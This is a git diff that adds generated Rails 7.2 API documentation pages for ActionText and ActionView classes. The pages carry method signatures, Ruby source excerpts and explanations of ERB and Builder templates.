+# <div class="trix-content">
+#   <h1>Funny times!</h1>
+#   <figure data-trix-attachment='{\"sgid\":\"..."\}'>
+#      <img src="http://example.org/rails/active_storage/.../funny.jpg">
+#   </figure>
+# </div>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/models/action_text/rich_text.rb, line 85
+    def to_trix_html
+      body&.to_trix_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Serialization.html b/src/7.2/classes/ActionText/Serialization.html new file mode 100644 index 0000000000..d0bd6bea2f --- /dev/null +++ b/src/7.2/classes/ActionText/Serialization.html @@ -0,0 +1,188 @@ +--- +title: ActionText::Serialization +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _dump(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/serialization.rb, line 34
+    def _dump(*)
+      self.class.dump(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/serialization.rb, line 14
+      def dump(content)
+        case content
+        when nil
+          nil
+        when self
+          content.to_html
+        when ActionText::RichText
+          content.body.to_html
+        else
+          new(content).to_html
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/serialization.rb, line 10
+      def load(content)
+        new(content) if content
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/SystemTestHelper.html b/src/7.2/classes/ActionText/SystemTestHelper.html new file mode 100644 index 0000000000..e03aa33c48 --- /dev/null +++ b/src/7.2/classes/ActionText/SystemTestHelper.html @@ -0,0 +1,123 @@ +--- +title: ActionText::SystemTestHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fill_in_rich_text_area(locator = nil, with:) + +

+ + +
+

Locates a Trix editor and fills it in with the given HTML.

+ +

The editor can be found by: * its id * its placeholder * the text from its label element * its aria-label * the name of its input

+ +

Examples:

+ +
# <trix-editor id="message_content" ...></trix-editor>
+fill_in_rich_text_area "message_content", with: "Hello <em>world!</em>"
+
+# <trix-editor placeholder="Your message here" ...></trix-editor>
+fill_in_rich_text_area "Your message here", with: "Hello <em>world!</em>"
+
+# <label for="message_content">Message content</label>
+# <trix-editor id="message_content" ...></trix-editor>
+fill_in_rich_text_area "Message content", with: "Hello <em>world!</em>"
+
+# <trix-editor aria-label="Message content" ...></trix-editor>
+fill_in_rich_text_area "Message content", with: "Hello <em>world!</em>"
+
+# <input id="trix_input_1" name="message[content]" type="hidden">
+# <trix-editor input="trix_input_1"></trix-editor>
+fill_in_rich_text_area "message[content]", with: "Hello <em>world!</em>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/system_test_helper.rb, line 35
+    def fill_in_rich_text_area(locator = nil, with:)
+      find(:rich_text_area, locator).execute_script("this.editor.loadHTML(arguments[0])", with.to_s)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/TagHelper.html b/src/7.2/classes/ActionText/TagHelper.html new file mode 100644 index 0000000000..7b63808716 --- /dev/null +++ b/src/7.2/classes/ActionText/TagHelper.html @@ -0,0 +1,130 @@ +--- +title: ActionText::TagHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + rich_text_area_tag(name, value = nil, options = {}) + +

+ + +
+

Returns a trix-editor tag that instantiates the Trix JavaScript editor as well as a hidden field that Trix will write to on changes, so the content will be sent on form submissions.

+ +

Options

+
  • +

    :class - Defaults to β€œtrix-content” so that default styles will be applied. Setting this to a different value will prevent default styles from being applied.

    +
  • +

    [:data][:direct_upload_url] - Defaults to rails_direct_uploads_url.

    +
  • +

    [:data][:blob_url_template] - Defaults to rails_service_blob_url(":signed_id", ":filename").

    +
+ +

Example

+ +
rich_text_area_tag "content", message.content
+# <input type="hidden" name="content" id="trix_input_post_1">
+# <trix-editor id="content" input="trix_input_post_1" class="trix-content" ...></trix-editor>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/tag_helper.rb, line 30
+    def rich_text_area_tag(name, value = nil, options = {})
+      options = options.symbolize_keys
+      form = options.delete(:form)
+
+      options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}"
+      options[:class] ||= "trix-content"
+
+      options[:data] ||= {}
+      options[:data][:direct_upload_url] ||= main_app.rails_direct_uploads_url
+      options[:data][:blob_url_template] ||= main_app.rails_service_blob_url(":signed_id", ":filename")
+
+      editor_tag = content_tag("trix-editor", "", options)
+      input_tag = hidden_field_tag(name, value.try(:to_trix_html) || value, id: options[:input], form: form)
+
+      input_tag + editor_tag
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/TrixAttachment.html b/src/7.2/classes/ActionText/TrixAttachment.html new file mode 100644 index 0000000000..6d362cba6d --- /dev/null +++ b/src/7.2/classes/ActionText/TrixAttachment.html @@ -0,0 +1,336 @@ +--- +title: ActionText::TrixAttachment +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ATTRIBUTES=%w( sgid contentType url href filename filesize width height previewable content ) + COMPOSED_ATTRIBUTES
ATTRIBUTE_TYPES={ +"previewable" => ->(value) { value.to_s == "true" }, +"filesize" => ->(value) { Integer(value.to_s, exception: false) || value }, +"width" => ->(value) { Integer(value.to_s, exception: false) }, +"height" => ->(value) { Integer(value.to_s, exception: false) }, +:default => ->(value) { value.to_s } +}
COMPOSED_ATTRIBUTES=%w( caption presentation )
SELECTOR="[data-trix-attachment]"
TAG_NAME="figure"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + node
+ + + + +

Class Public methods

+ +
+

+ + from_attributes(attributes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/trix_attachment.rb, line 21
+      def from_attributes(attributes)
+        attributes = process_attributes(attributes)
+
+        trix_attachment_attributes = attributes.except(*COMPOSED_ATTRIBUTES)
+        trix_attributes = attributes.slice(*COMPOSED_ATTRIBUTES)
+
+        node = ActionText::HtmlConversion.create_element(TAG_NAME)
+        node["data-trix-attachment"] = JSON.generate(trix_attachment_attributes)
+        node["data-trix-attributes"] = JSON.generate(trix_attributes) if trix_attributes.any?
+
+        new(node)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/trix_attachment.rb, line 53
+    def initialize(node)
+      @node = node
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/trix_attachment.rb, line 57
+    def attributes
+      @attributes ||= attachment_attributes.merge(composed_attributes).slice(*ATTRIBUTES)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_html() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/trix_attachment.rb, line 61
+    def to_html
+      ActionText::HtmlConversion.node_to_html(node)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/trix_attachment.rb, line 65
+    def to_s
+      to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/VERSION.html b/src/7.2/classes/ActionText/VERSION.html new file mode 100644 index 0000000000..04d9747f73 --- /dev/null +++ b/src/7.2/classes/ActionText/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActionText::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView.html b/src/7.2/classes/ActionView.html new file mode 100644 index 0000000000..5928f4d569 --- /dev/null +++ b/src/7.2/classes/ActionView.html @@ -0,0 +1,559 @@ +--- +title: ActionView +layout: default +--- +
+ +
+
+ +
+ +

Action View

+ +

Action View is a framework for handling view template lookup and rendering, and provides view helpers that assist when building HTML forms, Atom feeds and more. Template formats that Action View handles are ERB (embedded Ruby, typically used to inline short Ruby snippets inside HTML), and XML Builder.

+ +

You can read more about Action View in the Action View Overview guide.

+ +

Download and installation

+ +

The latest version of Action View can be installed with RubyGems:

+ +
$ gem install actionview
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Action View is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
ENCODING_FLAG='#.*coding[:=]\s*(\S+)[ \t]*'
TemplateError=Template::Error
+ + + + + + +

Class Public methods

+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view.rb, line 93
+  def self.eager_load!
+    super
+    ActionView::Helpers.eager_load!
+    ActionView::Template.eager_load!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Action View as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Action View as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/AbstractRenderer.html b/src/7.2/classes/ActionView/AbstractRenderer.html new file mode 100644 index 0000000000..6622e07420 --- /dev/null +++ b/src/7.2/classes/ActionView/AbstractRenderer.html @@ -0,0 +1,73 @@ +--- +title: ActionView::AbstractRenderer +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection.html b/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection.html new file mode 100644 index 0000000000..ed42a77653 --- /dev/null +++ b/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection.html @@ -0,0 +1,73 @@ +--- +title: ActionView::AbstractRenderer::RenderedCollection +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection/EmptyCollection.html b/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection/EmptyCollection.html new file mode 100644 index 0000000000..cac00598d7 --- /dev/null +++ b/src/7.2/classes/ActionView/AbstractRenderer/RenderedCollection/EmptyCollection.html @@ -0,0 +1,161 @@ +--- +title: ActionView::AbstractRenderer::RenderedCollection::EmptyCollection +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + format
+ + + + +

Class Public methods

+ +
+

+ + new(format) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/abstract_renderer.rb, line 133
+        def initialize(format)
+          @format = format
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + body() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/renderer/abstract_renderer.rb, line 137
+        def body; nil; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Base.html b/src/7.2/classes/ActionView/Base.html new file mode 100644 index 0000000000..9811d9568f --- /dev/null +++ b/src/7.2/classes/ActionView/Base.html @@ -0,0 +1,516 @@ +--- +title: ActionView::Base +layout: default +--- +
+ +
+
+ +
+ +

Action View Base

+ +

Action View templates can be written in several ways. If the template file has a .erb extension, then it uses the erubi template system which can embed Ruby into an HTML document. If the template file has a .builder extension, then Jim Weirich’s Builder::XmlMarkup library is used.

+ +

ERB

+ +

You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the following loop for names:

+ +
<b>Names of all the people</b>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br/>
+<% end %>
+
+ +

The loop is set up in regular embedding tags <% %>, and the name is written using the output embedding tag <%= %>. Note that this is not just a usage suggestion. Regular output functions like print or puts won’t work with ERB templates. So this would be wrong:

+ +
<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+
+ +

If you absolutely must write from within a function use concat.

+ +

When on a line that only contains whitespaces except for the tag, <% %> suppresses leading and trailing whitespace, including the trailing newline. <% %> and <%- -%> are the same. Note however that <%= %> and <%= -%> are different: only the latter removes trailing whitespaces.

+ +

Using sub templates

+ +

Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):

+ +
<%= render "application/header" %>
+Something really specific and terrific
+<%= render "application/footer" %>
+
+ +

As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the result of the rendering. The output embedding writes it to the current template.

+ +

But you don’t have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance variables defined using the regular embedding tags. Like this:

+ +
<% @page_title = "A Wonderful Hello" %>
+<%= render "application/header" %>
+
+ +

Now the header can pick up on the @page_title variable and use it for outputting a title tag:

+ +
<title><%= @page_title %></title>
+
+ +

Passing local variables to sub templates

+ +

You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:

+ +
<%= render "application/header", { headline: "Welcome", person: person } %>
+
+ +

These can now be accessed in application/header with:

+ +
Headline: <%= headline %>
+First name: <%= person.first_name %>
+
+ +

The local variables passed to sub templates can be accessed as a hash using the local_assigns hash. This lets you access the variables as:

+ +
Headline: <%= local_assigns[:headline] %>
+
+ +

This is useful in cases where you aren’t sure if the local variable has been assigned. Alternatively, you could also use defined? headline to first check if the variable has been assigned before using it.

+ +

By default, templates will accept any locals as keyword arguments. To restrict what locals a template accepts, add a locals: magic comment:

+ +
<%# locals: (headline:) %>
+
+Headline: <%= headline %>
+
+ +

In cases where the local variables are optional, declare the keyword argument with a default value:

+ +
<%# locals: (headline: nil) %>
+
+<% unless headline.nil? %>
+Headline: <%= headline %>
+<% end %>
+
+ +

Read more about strict locals in Action View Overview in the guides.

+ +

Template caching

+ +

By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file’s modification time and recompile it in development mode.

+ +

Builder

+ +

Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named xml is automatically made available to templates with a .builder extension.

+ +

Here are some basic examples:

+ +
xml.em("emphasized")                                 # => <em>emphasized</em>
+xml.em { xml.b("emph & bold") }                      # => <em><b>emph &amp; bold</b></em>
+xml.a("A Link", "href" => "http://onestepback.org")  # => <a href="http://onestepback.org">A Link</a>
+xml.target("name" => "compile", "option" => "fast")  # => <target option="fast" name="compile"\>
+                                                     # NOTE: order of attributes is not specified.
+
+ +

Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:

+ +
xml.div do
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+end
+
+ +

would produce something like:

+ +
<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+
+ +

Here is a full-length RSS example actually used on Basecamp:

+ +
xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    @recent_items.each do |item|
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(item))
+        xml.link(@person.firm.account.url + @recent_items.url(item))
+
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+
+ +

For more information on Builder please consult the source code.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + lookup_context
+ [R] + view_renderer
+ + + + +

Class Public methods

+ +
+

+ + cache_template_loading() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 187
+      def cache_template_loading
+        ActionView::Resolver.caching?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_template_loading=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 191
+      def cache_template_loading=(value)
+        ActionView::Resolver.caching = value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 207
+          def inspect
+            "#<ActionView::Base:#{'%#016x' % (object_id << 1)}>"
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + _run(method, template, locals, buffer, add_to_stack: true, has_strict_locals: false, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 261
+    def _run(method, template, locals, buffer, add_to_stack: true, has_strict_locals: false, &block)
+      _old_output_buffer, _old_virtual_path, _old_template = @output_buffer, @virtual_path, @current_template
+      @current_template = template if add_to_stack
+      @output_buffer = buffer
+
+      if has_strict_locals
+        begin
+          public_send(method, locals, buffer, **locals, &block)
+        rescue ArgumentError => argument_error
+          raise(
+            ArgumentError,
+            argument_error.
+              message.
+                gsub("unknown keyword:", "unknown local:").
+                gsub("missing keyword:", "missing local:").
+                gsub("no keywords accepted", "no locals accepted").
+                concat(" for #{@current_template.short_identifier}")
+          )
+        end
+      else
+        public_send(method, locals, buffer, &block)
+      end
+    ensure
+      @output_buffer, @virtual_path, @current_template = _old_output_buffer, _old_virtual_path, _old_template
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compiled_method_container() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 287
+    def compiled_method_container
+      raise NotImplementedError, <<~msg.squish
+        Subclasses of ActionView::Base must implement `compiled_method_container`
+        or use the class method `with_empty_template_cache` for constructing
+        an ActionView::Base subclass that has an empty cache.
+      msg
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_rendering_context(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/base.rb, line 295
+    def in_rendering_context(options)
+      old_view_renderer  = @view_renderer
+      old_lookup_context = @lookup_context
+
+      if !lookup_context.html_fallback_for_js && options[:formats]
+        formats = Array(options[:formats])
+        if formats == [:js]
+          formats << :html
+        end
+        @lookup_context = lookup_context.with_prepended_formats(formats)
+        @view_renderer = ActionView::Renderer.new @lookup_context
+      end
+
+      yield @view_renderer
+    ensure
+      @view_renderer = old_view_renderer
+      @lookup_context = old_lookup_context
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/CacheExpiry.html b/src/7.2/classes/ActionView/CacheExpiry.html new file mode 100644 index 0000000000..2feb6e7654 --- /dev/null +++ b/src/7.2/classes/ActionView/CacheExpiry.html @@ -0,0 +1,69 @@ +--- +title: ActionView::CacheExpiry +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/CacheExpiry/ViewReloader.html b/src/7.2/classes/ActionView/CacheExpiry/ViewReloader.html new file mode 100644 index 0000000000..1bd34e2540 --- /dev/null +++ b/src/7.2/classes/ActionView/CacheExpiry/ViewReloader.html @@ -0,0 +1,60 @@ +--- +title: ActionView::CacheExpiry::ViewReloader +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Context.html b/src/7.2/classes/ActionView/Context.html new file mode 100644 index 0000000000..1b792ad96b --- /dev/null +++ b/src/7.2/classes/ActionView/Context.html @@ -0,0 +1,175 @@ +--- +title: ActionView::Context +layout: default +--- +
+ +
+
+ +
+ +

Action View Context

+ +

Action View contexts are supplied to Action Controller to render a template. The default Action View context is ActionView::Base.

+ +

In order to work with Action Controller, a Context must just include this module. The initialization of the variables used by the context (@output_buffer, @view_flow, and @virtual_path) is responsibility of the object that includes this module (although you can call _prepare_context defined below).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + output_buffer
+ [RW] + view_flow
+ + + + + +

Instance Public methods

+ +
+

+ + _layout_for(name = nil) + +

+ + +
+

Encapsulates the interaction with the view flow so it returns the correct buffer on yield. This is usually overwritten by helpers to add more behavior.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/context.rb, line 27
+    def _layout_for(name = nil)
+      name ||= :layout
+      view_flow.get(name).html_safe
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _prepare_context() + +

+ + +
+

Prepares the context by setting the appropriate instance variables.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/context.rb, line 18
+    def _prepare_context
+      @view_flow     = OutputFlow.new
+      @output_buffer = ActionView::OutputBuffer.new
+      @virtual_path  = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Digestor.html b/src/7.2/classes/ActionView/Digestor.html new file mode 100644 index 0000000000..a6cf255ae9 --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor.html @@ -0,0 +1,256 @@ +--- +title: ActionView::Digestor +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + digest(name:, format: nil, finder:, dependencies: nil) + +

+ + +
+

Supported options:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 16
+      def digest(name:, format: nil, finder:, dependencies: nil)
+        if dependencies.nil? || dependencies.empty?
+          cache_key = "#{name}.#{format}"
+        else
+          dependencies_suffix = dependencies.flatten.tap(&:compact!).join(".")
+          cache_key = "#{name}.#{format}.#{dependencies_suffix}"
+        end
+
+        # this is a correctly done double-checked locking idiom
+        # (Concurrent::Map's lookups have volatile semantics)
+        finder.digest_cache[cache_key] || @@digest_mutex.synchronize do
+          finder.digest_cache.fetch(cache_key) do # re-check under lock
+            path = TemplatePath.parse(name)
+            root = tree(path.to_s, finder, path.partial?)
+            dependencies.each do |injected_dep|
+              root.children << Injected.new(injected_dep, nil, nil)
+            end if dependencies
+            finder.digest_cache[cache_key] = root.digest(finder)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 38
+      def logger
+        ActionView::Base.logger || NullLogger
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tree(name, finder, partial = false, seen = {}) + +

+ + +
+

Create a dependency tree for template named name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 43
+      def tree(name, finder, partial = false, seen = {})
+        logical_name = name.gsub(%r|/_|, "/")
+        interpolated = name.include?("#")
+
+        path = TemplatePath.parse(name)
+
+        if !interpolated && (template = find_template(finder, path.name, [path.prefix], partial, []))
+          if node = seen[template.identifier] # handle cycles in the tree
+            node
+          else
+            node = seen[template.identifier] = Node.create(name, logical_name, template, partial)
+
+            deps = DependencyTracker.find_dependencies(name, template, finder.view_paths)
+            deps.uniq { |n| n.gsub(%r|/_|, "/") }.each do |dep_file|
+              node.children << tree(dep_file, finder, true, seen)
+            end
+            node
+          end
+        else
+          unless interpolated # Dynamic template partial names can never be tracked
+            logger.error "  Couldn't find template for digesting: #{name}"
+          end
+
+          seen[name] ||= Missing.new(name, logical_name, nil)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Digestor/Injected.html b/src/7.2/classes/ActionView/Digestor/Injected.html new file mode 100644 index 0000000000..a6b6890c81 --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor/Injected.html @@ -0,0 +1,105 @@ +--- +title: ActionView::Digestor::Injected +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + digest(finder, _ = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 122
+      def digest(finder, _ = []) name end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Digestor/Missing.html b/src/7.2/classes/ActionView/Digestor/Missing.html new file mode 100644 index 0000000000..ff13354615 --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor/Missing.html @@ -0,0 +1,105 @@ +--- +title: ActionView::Digestor::Missing +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + digest(finder, _ = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 118
+      def digest(finder, _ = []) "" end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Digestor/Node.html b/src/7.2/classes/ActionView/Digestor/Node.html new file mode 100644 index 0000000000..a016521bf4 --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor/Node.html @@ -0,0 +1,317 @@ +--- +title: ActionView::Digestor::Node +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + children
+ [R] + logical_name
+ [R] + name
+ [R] + template
+ + + + +

Class Public methods

+ +
+

+ + create(name, logical_name, template, partial) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 81
+      def self.create(name, logical_name, template, partial)
+        klass = partial ? Partial : Node
+        klass.new(name, logical_name, template, [])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name, logical_name, template, children = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 86
+      def initialize(name, logical_name, template, children = [])
+        @name         = name
+        @logical_name = logical_name
+        @template     = template
+        @children     = children
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + dependency_digest(finder, stack) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 97
+      def dependency_digest(finder, stack)
+        children.map do |node|
+          if stack.include?(node)
+            false
+          else
+            finder.digest_cache[node.name] ||= begin
+                                                 stack.push node
+                                                 node.digest(finder, stack).tap { stack.pop }
+                                               end
+          end
+        end.join("-")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + digest(finder, stack = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 93
+      def digest(finder, stack = [])
+        ActiveSupport::Digest.hexdigest("#{template.source}-#{dependency_digest(finder, stack)}")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_dep_map() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 110
+      def to_dep_map
+        children.any? ? { name => children.map(&:to_dep_map) } : name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
